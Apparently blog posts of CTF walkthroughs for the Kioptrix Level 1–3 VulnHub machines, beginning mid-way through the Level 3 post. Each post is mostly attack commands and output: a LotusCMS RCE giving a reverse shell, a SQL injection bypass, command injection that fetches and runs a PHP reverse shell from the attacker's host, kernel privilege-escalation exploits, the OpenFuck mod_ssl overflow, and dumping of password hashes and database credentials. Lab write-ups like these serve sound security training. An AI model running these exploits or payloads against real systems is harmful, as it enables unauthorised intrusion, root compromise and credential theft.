 + End Time:           2020-04-20 18:46:28 (GMT5.5) (9 seconds)
 ---------------------------------------------------------------------------
 + 1 host(s) tested

phpmyadmin directory is found.

Similarly results from dirb

 $ dirb http://kioptrix3.com | tee dirb.scan
 
 ==> DIRECTORY: http://192.168.1.5/cache/
 + http://192.168.1.5/favicon.ico (CODE:200|SIZE:23126)                                                                                                                                                         + http://192.168.1.5/index.php (CODE:200|SIZE:1819)                                                                                                                                                            + http://192.168.1.5/cache/index.html (CODE:200|SIZE:1819)                                                
 ==> DIRECTORY: http://192.168.1.5/core/controller/                                                      
 + http://192.168.1.5/core/index.php (CODE:200|SIZE:0)                                                                                                                                                          + http://192.168.1.5/gallery/index.php (CODE:500|SIZE:5650)                                                                                                                                                    + http://192.168.1.5/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)                                                                                                                                              + http://192.168.1.5/phpmyadmin/index.php (CODE:200|SIZE:8136)                                             
 + http://192.168.1.5/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)                                                                                                                                                  + http://192.168.1.5/style/admin.php (CODE:200|SIZE:356)                                                                                                                                                       + http://192.168.1.5/style/index.php (CODE:200|SIZE:0)                                                                                                                                                         + http://192.168.1.5/core/controller/index.php (CODE:200|SIZE:0)                                                                                                                                               + http://192.168.1.5/core/lib/index.php (CODE:200|SIZE:0)                                                                                                                                                      + http://192.168.1.5/core/model/index.php (CODE:200|SIZE:0)                                                  
 + http://192.168.1.5/core/view/index.php (CODE:200|SIZE:0)                                                                                                                                                     + http://kioptrix3.com/favicon.ico (CODE:200|SIZE:23126)
 + http://kioptrix3.com/index.php (CODE:200|SIZE:1819)
 + http://kioptrix3.com/cache/index.html (CODE:200|SIZE:1819)
 + http://kioptrix3.com/core/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/phpmyadmin/favicon.ico (CODE:200|SIZE:18902)
 + http://kioptrix3.com/phpmyadmin/index.php (CODE:200|SIZE:8136)
 + http://kioptrix3.com/phpmyadmin/phpinfo.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/style/admin.php (CODE:200|SIZE:356)
 + http://kioptrix3.com/style/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/controller/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/lib/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/model/index.php (CODE:200|SIZE:0)
 + http://kioptrix3.com/core/view/index.php (CODE:200|SIZE:0)

and also scan results from dirsearch :

 $ ./dirsearch.py -u http://kioptrix3.com -e php,asp,aspx,jsp,html,zip,jar,sql --plain-text-report=dirsearchReport
 
 $ cat dirsearchReport | grep 200
 
 200     2KB  http://kioptrix3.com/cache/
 200   688B   http://kioptrix3.com/core/fragments/moduleInfo.phtml
 200    23KB  http://kioptrix3.com/favicon.ico
 200     2KB  http://kioptrix3.com/index.php
 200     2KB  http://kioptrix3.com/index.php/login/
 200   146B   http://kioptrix3.com/modules/TinyMCE/TinyMCEModuleInfo.php
 200     8KB  http://kioptrix3.com/phpmyadmin/

We can access myphpadmin with deafult user `admin` and blank password field, but there is only information_schema is accessible with default credentials.

Exploiting Lotas CMS :

A quick search of lotasCMS vulnerability will shows that version 3.0 is vulnerable to RCE

Link : https://github.com/Hood3dRob1n/LotusCMS-Exploit

To exploit this start a listener on attack machine

 $ wget https://github.com/Hood3dRob1n/LotusCMS-Exploit/raw/master/lotusRCE.sh
 $ chmod +x lotusRCE.sh
 $ ./lotusRCE.sh kioptrix3.com /
 
 Path found, now to check for vuln....
 
 </html>Hood3dRob1n
 Regex found, site is vulnerable to PHP Code Injection!
 
 About to try and inject reverse shell....
 what IP to use?
 192.168.1.3      <----- IP address of local machine
 What PORT?
 1234             <---- listener port number
 
 OK, open your local listener and choose the method for back connect:
 1) NetCat -exploit    3) NetCat Backpipe5) Exit
 2) NetCat /dev/tcp  4) NetCat FIFO
 #? 1

and we get the reverse connection

 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from kioptrix3.com 37530 received!
 whoami
 www-data

getting tty shell

 python -c 'import pty;pty.spawn("/bin/sh")'
 $

Enumerating files :
Looking at web directory :

 $ pwd
 pwd
 /home/www/kioptrix3.com
 $ ls
 cache  data    gallery  index.php  style
 core   favicon.ico  gnu-lgpl.txt  modules    update.php
 
 $ cd gallery
 
 $ ls
 BACK     gfooter.php     logout.php        readme.html    tags.php
 db.sql     gfunctions.php  p.php       recent.php     themes
 g.php     gheader.php     photos       register.php   version.txt
 gadmin     index.php     photos.php        scopbin      vote.php
 gallery.php  install.BAK     post_comment.php  search.php
 gconfig.php  login.php     profile.php       slideshow.php
 
 $ cat gconfig.php
 <?php
     error_reporting(0);
     /*
         A sample Gallarific configuration file. You should edit
         the installer details below and save this file as gconfig.php
         Do not modify anything else if you don't know what it is.
     */
 
     // Installer Details -----------------------------------------------
 
     // Enter the full HTTP path to your Gallarific folder below,
     // such as http://www.yoursite.com/gallery
     // Do NOT include a trailing forward slash
 
     $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";
 
     $GLOBALS["gallarific_mysql_server"] = "localhost";
     $GLOBALS["gallarific_mysql_database"] = "gallery";
     $GLOBALS["gallarific_mysql_username"] = "root";
     $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

In webdirectory of gallery we find database creds "root/fukeyou", and we can successfully logged-in on myphpadmin, and on gallery database we found two usernames with hashed passwords :

 dreg         fb887aabd50f243b3f155c0f85
 loneferret   5badcaf789d3d1d09794d8f021f40f0e

Although these passwords are cracked with crackstation.net

 dreg        :  Mast3r
 loneferret  :  starwars

With user "loneferret/starwars" we can successfully ssh into the machine

 $ ssh loneferret@192.168.1.5
 loneferret@192.168.1.5's password:
 Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
 
 The programs included with the Ubuntu system are free software;
 the exact distribution terms for each program are described in the
 individual files in /usr/share/doc/*/copyright.
 
 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
 applicable law.
 
 To access official Ubuntu documentation, please visit:
 http://help.ubuntu.com/
 Last login: Mon Apr 20 04:26:57 2020 from 192.168.1.3
 loneferret@Kioptrix3:~$ whoami
 loneferret
 loneferret@Kioptrix3:~$

But with this we can't access the root directory

 loneferret@Kioptrix3:~$ cd /root
 -bash: cd: /root: Permission denied

Privilege Escalation :

Method 1 :
There is a file CompanyPolicy.README, which descirbe command 'sudo ht'

 loneferret@Kioptrix3:~$ cat CompanyPolicy.README
 Hello new employee,
 It is company policy here to use our newly installed software for editing, creating and viewing files.
 Please use the command 'sudo ht'.
 Failure to do so will result in you immediate termination.
 
 DG
 CEO
 loneferret@Kioptrix3:~$ sudo ht
 sudo: no passwd entry for root!
 
 loneferret@Kioptrix3:~$ which ht
 /usr/local/bin/ht
 
 loneferret@Kioptrix3:~$ ls -al /usr/local/bin/ht
 -rwsr-sr-x 1 firefart root 2072344 2011-04-16 07:26 /usr/local/bin/ht

`ht` is a file editor/viewer/analyzer for executables. And in this case it is setted to suid, means it runs with root privilege, and we can edit files which require to root access with it. Means we can escalate our privilege by editing `etc/sudoers` file and allow use `loneferret` to `/bin/su` file, which gives us root access.

Open th file By

 $ sudo ht /etc/sudoers

Which looks like this

To change it into text mode press `F6` and coose text mode

We have to change '!/usr/bin/su' to '/bin/su'

To edit file change the mode into "hex" (press F6) and press F4 to edit, now just place "20" (hex for space) into the place of "!/usr" in "!/usr/bin/su", which looks like

Before :

After :

and press F2 to save.

Now just run the command `sudo su`

 loneferret@Kioptrix3:~$ sudo su
 root@Kioptrix3:/home/loneferret# whoami
 root

Thats it, we get the root shell!!

 Congrats.txt  ht-2.0.18
 root@Kioptrix3:~# cat Congrats.txt
 Good for you for getting here.
 Regardless of the matter (staying within the spirit of the game of course)
 you got here, congratulations are in order. Wasn't that bad now was it.
 
 Went in a different direction with this VM. Exploit based challenges are
 nice. Helps workout that information gathering part, but sometimes we
 need to get our hands dirty in other things as well.
 Again, these VMs are beginner and not intented for everyone.
 Difficulty is relative, keep that in mind.
 
 The object is to learn, do some research and have a little (legal)
 fun in the process.
 
 
 I hope you enjoyed this third challenge.
 
 Steven McElrea
 aka loneferret
 http://www.kioptrix.com
 
 
 Credit needs to be given to the creators of the gallery webapp and CMS used
 for the building of the Kioptrix VM3 site.
 
 Main page CMS:
 http://www.lotuscms.org
 
 Gallery application:
 Gallarific 2.1 - Free Version released October 10, 2009
 http://www.gallarific.com
 Vulnerable version of this application can be downloaded
 from the Exploit-DB website:
 http://www.exploit-db.com/exploits/15891/
 
 The HT Editor can be found here:
 http://hte.sourceforge.net/downloads.html
 And the vulnerable version on Exploit-DB here:
 http://www.exploit-db.com/exploits/17083/
 
 
 Also, all pictures were taken from Google Images, so being part of the
 public domain I used them.
 
 root@Kioptrix3:~#

Method 2 :

We are using this method within the reverse shell obtained by LotusCMS exploit.

First check the version of OS and Kernel

 $ cat /etc/issue
 Ubuntu 8.04.3 LTS \n \l
 
 $ cat /etc/*-release
 DISTRIB_ID=Ubuntu
 DISTRIB_RELEASE=8.04
 DISTRIB_CODENAME=hardy
 DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
 
 $ uname -a
 Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
 
 $ cat /proc/version
 Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009

So the kernel version is 2.6.24, now for searching exploit for Linux kernel 2.6.24 i found following exploit : https://www.exploit-db.com/exploits/40839

According to the documentation the exploit creates a new user 'firefart' with root privilege, download it and test it.

 $ cd /tmp
 
 $ wget wget 192.168.1.3:8000/exploit.c
 
 $ gcc -pthread exploit.c -o exploit -lcrypt
 exploit.c:193:2: warning: no newline at end of file
 
 $ ./exploit
 ./exploit
 /etc/passwd successfully backed up to /tmp/passwd.bak
 Please enter the new password: 12345
 
 Complete line:
 firefart:fi3LLch28IK7A:0:0:pwned:/root:/bin/bash
 
 mmap: b7fe0000
 madvise 0
 
 ptrace 0
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username 'firefart' and the password '12345'.
 
 
 DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
 Done! Check /etc/passwd to see if the new user was created.
 You can log in with the username 'firefart' and the password '12345'.
 
 
 DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

Exploits seems to works, now try to login with new user "firefart" with password 12345

 $ su firefart
 Password: 12345
 
 firefart@Kioptrix3:/tmp# cd /root
 
 firefart@Kioptrix3:~# ls
 Congrats.txt  ht-2.0.18
 
 firefart@Kioptrix3:~# cat Congrats.txt
 Good for you for getting here.
 Regardless of the matter (staying within the spirit of the game of course)

We can access the /root directory.

Kioptrix: Level 1.1 (#2) CTF VM WalkThrough

noreply@blogger.com (Unknown) — Wed, 10 Jun 2020 18:19:00 +0000

VM : Kioptrix: Level 1.1

Download Link : https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar

Nmap Scan :

 # Nmap 7.80 scan initiated Thu Apr 16 13:44:53 2020 as: nmap -A -oN nmap.scan 192.168.1.4                                                                                                                  [0/1246]
 Nmap scan report for 192.168.1.4
 Host is up (0.00042s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE    VERSION
 22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
 | ssh-hostkey:
 |   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
 |   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
 |_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
 |_sshv1: Server supports SSHv1
 80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
 |_http-server-header: Apache/2.0.52 (CentOS)
 |_http-title: Site doesn't have a title (text/html; charset=UTF-8).
 111/tcp  open  rpcbind    2 (RPC #100000)
 443/tcp  open  ssl/https?
 |_ssl-date: 2020-04-16T10:36:08+00:00; -3h09m42s from scanner time.
 | sslv2:
 |   SSLv2 supported
 |   ciphers:
 |     SSL2_RC4_128_EXPORT40_WITH_MD5
 |     SSL2_RC4_128_WITH_MD5
 |     SSL2_DES_64_CBC_WITH_MD5
 |     SSL2_DES_192_EDE3_CBC_WITH_MD5
 |     SSL2_RC2_128_CBC_WITH_MD5
 |     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
 |_    SSL2_RC4_64_WITH_MD5
 631/tcp  open  ipp        CUPS 1.1
 | http-methods:
 |_  Potentially risky methods: PUT
 |_http-server-header: CUPS/1.1
 |_http-title: 403 Forbidden
 3306/tcp open  mysql      MySQL (unauthorized)
 Device type: general purpose
 Running: Linux 2.6.X
 OS CPE: cpe:/o:linux:linux_kernel:2.6
 OS details: Linux 2.6.9 - 2.6.27
 Network Distance: 2 hops
 
 Host script results:
 |_clock-skew: -3h09m42s
 
 TRACEROUTE (using port 256/tcp)
 HOP RTT     ADDRESS
 1   0.05 ms 172.17.0.1
 2   0.32 ms 192.168.1.4
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 # Nmap done at Thu Apr 16 13:46:48 2020 -- 1 IP address (1 host up) scanned in 115.94 seconds

Open ports are :

 22/tcp   open  ssh        OpenSSH 3.9p1 (protocol 1.99)
 80/tcp   open  http       Apache httpd 2.0.52 ((CentOS))
 111/tcp  open  rpcbind    2 (RPC #100000)
 443/tcp  open  ssl/https?
 631/tcp  open  ipp        CUPS 1.1
 3306/tcp open  mysql      MySQL (unauthorized)

port 80 is open. There is a web page

There may be an sql injection vulnerability. I tried to find sql injection with sqlmap, but it did not find anything.

 $ sqlmap -u "http://192.168.1.4/index.php" --data="uname=admin&psw=12345&btnLogin=Login"

But after try to find manually with burp repeater, there is a sql injection vulnerability in `psw` field, which can be exploited by putting `' or 1='1 --+` in password field. and it loads another page where we can ping any device within the network.

 192.168.1.10
 PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
 64 bytes from 192.168.1.10: icmp_seq=0 ttl=64 time=55.5 ms
 64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=3.62 ms
 64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=1.08 ms
 
 --- 192.168.1.10 ping statistics ---
 3 packets transmitted, 3 received, 0% packet loss, time 2002ms
 rtt min/avg/max/mdev = 1.087/20.070/55.501/25.074 ms, pipe 2

A this functionality, there is possibility for command injection, try to execute command by providing within the ip address

 ip_address;commad

For example

 192.168.1.10;ls

And as expected it returns the filenames on current directory.

 192.168.1.10;ls
 PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
 64 bytes from 192.168.1.10: icmp_seq=0 ttl=64 time=54.0 ms
 64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=3.52 ms
 64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=1.17 ms
 
 --- 192.168.1.10 ping statistics ---
 3 packets transmitted, 3 received, 0% packet loss, time 2001ms
 rtt min/avg/max/mdev = 1.175/19.587/54.059/24.394 ms, pipe 2
 index.php
 pingit.php

Another example :

 192.168.1.10;ls -al;pwd;whoami
 PING 192.168.1.10 (192.168.1.10) 56(84) bytes of data.
 64 bytes from 192.168.1.10: icmp_seq=0 ttl=64 time=57.1 ms
 64 bytes from 192.168.1.10: icmp_seq=1 ttl=64 time=1.18 ms
 64 bytes from 192.168.1.10: icmp_seq=2 ttl=64 time=1.17 ms
 
 --- 192.168.1.10 ping statistics ---
 3 packets transmitted, 3 received, 0% packet loss, time 2001ms
 rtt min/avg/max/mdev = 1.173/19.832/57.144/26.383 ms, pipe 2
 total 24
 drwxr-xr-x  2 root root 4096 Oct  8  2009 .
 drwxr-xr-x  8 root root 4096 Oct  7  2009 ..
 -rwxr-Sr-t  1 root root 1733 Feb  9  2012 index.php
 -rwxr-Sr-t  1 root root  199 Oct  8  2009 pingit.php
 /var/www/html
 apache

The user is : apache, dirctory is /var/www/html, all the files are root privileged.

Getting a remote shell :

We are going to use php reverse shell from pentestmonkey.net : http://pentestmonkey.net/tools/web-shells/php-reverse-shell

Download it from there page and change the $ip and $port to your local system.

 set_time_limit (0);
 $VERSION = "1.0";
 $ip = '192.168.1.3';  // CHANGE THIS
 $port = 1234;       // CHANGE THIS
 $chunk_size = 1400;
 $write_a = null;
 $error_a = null;
 $shell = 'uname -a; w; id; /bin/sh -i';
 $daemon = 0;
 $debug = 0;

Now to upload this php file we use series of commands. First start a server to host the bd.php(i renamed the reverse shell php file) file. We can use a simple python server

 python -m SimpleHTTPServer 8000

Commands to upload file

 cd /tmp                               # change dirctory to tmp
 wget http://192.168.1.3:8000/bd.php   # downlaod backdoor file
 php -f bd.php                         # execute file

Remember we cant download file on webroot directory, because it is root privileged, and the ping command is executed by user apache. Before execute the commands first start the listener on local machine

 $ nc -lvvp 1234
 Listening on [0.0.0.0] (family 0, port 1234)

Command :

 192.168.1.10;cd /tmp/wget http://192.168.1.3:8000/bd.php;php -f bd.php

After the execution we can get a reverse shell on listener

 $ nc -lvvp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from 192.168.1.4 45265 received!
 Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
  12:21:07 up  6:17,  0 users,  load average: 0.00, 0.00, 0.00
 USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=48(apache) gid=48(apache) groups=48(apache)
 sh: no job control in this shell
 sh-3.00$
 sh-3.00$ whoami
 apache

And we can get the reverse shell.

Kernel Privilege Escalation :

Examining the OS and Kernel version

 sh-3.00# uname -a
 Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
 sh-3.00# cat /etc/*-release
 CentOS release 4.5 (Final)

A google search for kernel 2.6 exploit" give the exploit for kernel 2.6.22 less then is found from here : https://www.exploit-db.com/exploits/9542

 $ wget https://www.exploit-db.com/raw/9542
 $ mv 9542 peroot.c

Now downloading it into the Kioptrix

 sh-3.00$ cd /tmp
 sh-3.00$ wget http://192.168.1.3:8000/peroot.c
 sh-3.00$ gcc peroot.c -o peroot
 dirty.c:109:28: warning: no newline at end of file
 sh-3.00$ ./peroot
 sh-3.00# whoami
 root

It gives the root access.

Examining Files :

By examine php files from webroot directory we find the user 'john' and its password 'hiroshima' on mysql_connect() function.

 sh-3.00# cd /var/www/html
 sh-3.00# ls
 index.php
 pingit.php
 sh-3.00# cat index.php
 <?php
     mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
     //print "Connected to MySQL<br />";
     mysql_select_db("webapp");
 
     if ($_POST['uname'] != ""){
         $username = $_POST['uname'];
         $password = $_POST['psw'];
         $query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
         //print $query."<br>";
 ...
 ...
 ...

By using john credentials we can't access the system with ssh, but we can access the mysql database. Now try to execute command in mysql :

 sh-3.00# mysql -u john -phiroshima -e 'show databases;'
 Database
 mysql
 test
 webapp
 sh-3.00# mysql -u john -phiroshima -e 'use webapp;show tables;'
 Tables_in_webapp
 users
 sh-3.00# mysql -u john -phiroshima -e 'use webapp;select * from users;'
 id username password
 1   admin   5afac8d85f
 2   john    66lajGGbla

Now at-least we get the login password for users at index.php login page.

We can also look for .mysql_history file for previous typed commands by users.

 show databases;
 create database webapp;
 use webapp;
 create table users(id INT,username varchar(100),password varchar(10));
 show database;
 select * from users;
 show databases;
 use webapp;
 insert into users values(1,'admin','hello');
 select * from users;
 use mysql
 show databases;
 use mysql;
 select * from users where user=john;
 show tables;
 select * from user where user=john;
 select * from user where user='john';
 select * from user;
 create user 'john'@'localhost' identified by 'hiroshima';
 create user 'webapp'@'localhost' identified by 'hiroshima';
 create user 'webapp'@'localhost' IDENTIFIED BY 'hiroshima';
 CREATE USER 'webapp'@'localhost' identified by 'hiroshima';
 update user set password = password('hiroshima') where user = 'john';
 use mysql;
 show users;
 select * from user;
 create user 'john'@'localhost' identified by 'hiroshima';
 version;
 -v
 ;
 help
 flush privileges;
 show databases;
 use mysql;
 grant select,insert,update,delete on *.* to 'john'@'localhost';
 update user set password = password('hiroshima') where user = 'john';
 flush priveleges;
 use webapp;
 show tables;
 update user set password = password('Ha56!blaKAbl') where user = 'admin';
 update username set password = password('Ha56!blaKAbl') where user = 'admin';
 select * from users;
 update username set password = password('Ha56!blaKAbl') where username = 'admin';
 update users set password = password('Ha56!blaKAbl') where username = 'admin';
 select * from users;
 insert into users values(2,'john','66lajGGbla');
 select * from users;

From /etc/shadow file we got the encrypted passwords for users

 root:$1$FTpMLT88$VdzDQTTcksukSKMLRSVlc.:14529:0:99999:7:::
 john:$1$wk7kHI5I$2kNTw6ncQQCecJ.5b8xTL1:14525:0:99999:7:::
 harold:$1$7d.sVxgm$3MYWsHDv0F/LP.mjL9lp/1:14529:0:99999:7:::

Kioptrix: Level 1 (#1) CTF VM WalkThrough

noreply@blogger.com (Unknown) — Wed, 10 Jun 2020 16:58:00 +0000

VM : MrRobot

Download Link : https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

Scanning the whole class A network :

 $ nmap -sP 192.168.1.0/24
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 15:45 UTC
 Nmap scan report for 192.168.1.1
 Host is up (0.059s latency).
 Nmap scan report for 192.168.1.3
 Host is up (0.000035s latency).
 Nmap scan report for 192.168.1.4
 Host is up (0.081s latency).
 Nmap scan report for 192.168.1.104
 Host is up (0.00051s latency).
 Nmap done: 256 IP addresses (4 hosts up) scanned in 18.67 seconds

Our target is 192.168.1.104.

Scanning the target :

 $ nmap -sV -O 192.168.1.104 -oN nmap.scan
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-07 15:58 UTC
 Nmap scan report for 192.168.1.104
 Host is up (0.00053s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
 80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
 111/tcp  open  rpcbind     2 (RPC #100000)
 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
 443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
 1024/tcp open  status      1 (RPC #100024)
 Device type: general purpose
 Running: Linux 2.4.X
 OS CPE: cpe:/o:linux:linux_kernel:2.4.7
 OS details: Linux 2.4.7
 Network Distance: 2 hops
 
 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 21.35 seconds

Operating System : Linux 2.4.X | cpe:/o:linux:linux_kernel:2.4.7 | Linux 2.4.7

Scanning URL with dirb :

 By The Dark Raver
 -----------------
 
 OUTPUT_FILE: dirb.scan
 START_TIME: Tue Apr  7 16:35:19 2020
 URL_BASE: http://192.168.1.104/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612
 
 ---- Scanning URL: http://192.168.1.104/ ----
 + http://192.168.1.104/~operator (CODE:403|SIZE:273)
 + http://192.168.1.104/~root (CODE:403|SIZE:269)
 + http://192.168.1.104/cgi-bin/ (CODE:403|SIZE:272)
 + http://192.168.1.104/index.html (CODE:200|SIZE:2890)
 ==> DIRECTORY: http://192.168.1.104/manual/
 ==> DIRECTORY: http://192.168.1.104/mrtg/
 ==> DIRECTORY: http://192.168.1.104/usage/
 
 ---- Entering directory: http://192.168.1.104/manual/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode '-w' if you want to scan it anyway)
 
 ---- Entering directory: http://192.168.1.104/mrtg/ ----
 + http://192.168.1.104/mrtg/index.html (CODE:200|SIZE:17318)
 
 ---- Entering directory: http://192.168.1.104/usage/ ----
 + http://192.168.1.104/usage/index.html (CODE:200|SIZE:4810)
 
 -----------------
 END_TIME: Tue Apr  7 16:35:41 2020
 DOWNLOADED: 13836 - FOUND: 6

Scanning path/files with dirsearch :

 
 Extensions: php, asp, aspx, jsp, html, zip, jar, sql | HTTP method: get | Threads: 10 | Wordlist size: 8678
 
 Error Log: /root/tools/dirsearch/logs/errors-20-04-07_17-33-40.log
 
 Target: http://192.168.1.104
 
 [17:33:40] Starting:
 /bin/bash: ]: command not found
 [17:33:41] 403 -  277B  - /.htaccess-dev
 [17:33:41] 403 -  279B  - /.htaccess-local
 [17:33:41] 403 -  268B  - /.hta
 [17:33:41] 403 -  277B  - /.htaccess.BAK
 [17:33:41] 403 -  279B  - /.htaccess-marco
 [17:33:41] 403 -  278B  - /.htaccess.bak1
 [17:33:41] 403 -  278B  - /.htaccess.orig
 [17:33:41] 403 -  277B  - /.htaccess.old
 [17:33:41] 403 -  278B  - /.htaccess.save
 [17:33:41] 403 -  277B  - /.htaccess.txt
 [17:33:41] 403 -  280B  - /.htaccess.sample
 [17:33:41] 403 -  279B  - /.htaccess_extra
 [17:33:41] 403 -  276B  - /.htaccess_sc
 [17:33:41] 403 -  278B  - /.htaccess_orig
 [17:33:41] 403 -  276B  - /.htaccessBAK
 [17:33:41] 403 -  276B  - /.htaccessOLD
 [17:33:41] 403 -  277B  - /.htaccessOLD2
 [17:33:41] 403 -  274B  - /.htaccess~
 [17:33:41] 403 -  272B  - /.htgroup
 [17:33:41] 403 -  277B  - /.htpasswd-old
 [17:33:41] 403 -  278B  - /.htpasswd_test
 [17:33:41] 403 -  274B  - /.htpasswds
 [17:33:41] 403 -  272B  - /.htusers
 [17:33:48] 403 -  272B  - /cgi-bin/
 [17:33:49] 403 -  268B  - /doc/
 [17:33:49] 403 -  282B  - /doc/stable.version
 [17:33:49] 403 -  283B  - /doc/en/changes.html
 [17:33:51] 200 -    3KB - /index.html
 [17:33:52] 301 -  294B  - /manual  ->  http://127.0.0.1/manual/
 [17:33:56] 200 -   27B  - /test.php
 [17:33:57] 200 -    5KB - /usage/
 
 Task Completed

Findings :

[17:33:51] 200 -    3KB - /index.html
[17:33:56] 200 -   27B  - /test.php
[17:33:57] 200 -    5KB - /usage/

Now at the `http://192.168.1.104/usage/` there is Webalizer Version 2.01 created page, and search for the gives "Webalizer 2.1.x Buffer Overflow vulnerabilty" which Allows Remote Users to Execute Arbitrary Code on the Server via Reverse DNS Lookups. But i didn't find any exploit for that. However there is an XSS vulnerability. To exploit this just send a curl request and attach payload on the referrer header which can be added to the http://192.168.1.104/usage/usage_DATE.html page. But this is not much useful.

Now try to exploit findings from nmap, which are :

 22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
 80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
 111/tcp  open  rpcbind     2 (RPC #100000)
 139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
 443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
 1024/tcp open  status      1 (RPC #100024)

Searching for `Apache 1.3.20` :

The above search lead to `Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow` and we can see that in our target server the ssl server version is 2.8.4 so we can try to exploit this buffer overflow. The exploit can be found at here : https://www.exploit-db.com/exploits/47080 (newer version). so first we download the exploit and follow the instruction given on that page :

 $ ./OpenFuck | grep 1.3.20 | grep RedHat
     0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
     0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
 
 $ ./OpenFuck 0x6b 192.168.1.104 443 -c 40
 
 *******************************************************************
 * OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
 *******************************************************************
 * by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
 * #hackarena  irc.brasnet.org                                     *
 * TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
 * #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
 * #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
 *******************************************************************
 
 Connection... 40 of 40
 Establishing SSL connection
 cipher: 0x4043808c   ciphers: 0x80f8088
 Ready to send shellcode
 Spawning shell...
 bash: no job control in this shell
 bash-2.05$
 d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
 --15:11:51--  https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
            => `ptrace-kmod.c'
 Connecting to dl.packetstormsecurity.net:443... connected!
 HTTP request sent, awaiting response... 200 OK
 Length: 3,921 [text/x-csrc]
 
     0K ...                                                   100% @   3.74 MB/s
 
 15:11:53 (1.87 MB/s) - `ptrace-kmod.c' saved [3921/3921]
 
 /usr/bin/ld: cannot open output file exploit: Permission denied
 collect2: ld returned 1 exit status
 gcc: file path prefix `/usr/bin' never used
 ls
 exploit
 whoami
 root

Try 2 to 3 times if exploit does not work (because the payload download a file "ptrace-kmod.c" from internet). We can get a root shell. Now from here we can get /etc/shadow and /etc/passwd file. Copy them on the system and try to crack the passwords of users with john.

 $ unshadow passwdfile shadowfile > crack.passwd.db
 $ john crack.passwd.db

samba service :

There is also samba service is running, (revealed by nmap scan). Now enumerating samba service :

with nbtscan :

 nbtscan 192.168.1.104
 Doing NBT name scan for addresses from 192.168.1.104
 
 IP address       NetBIOS Name     Server    User             MAC address
 ------------------------------------------------------------------------------
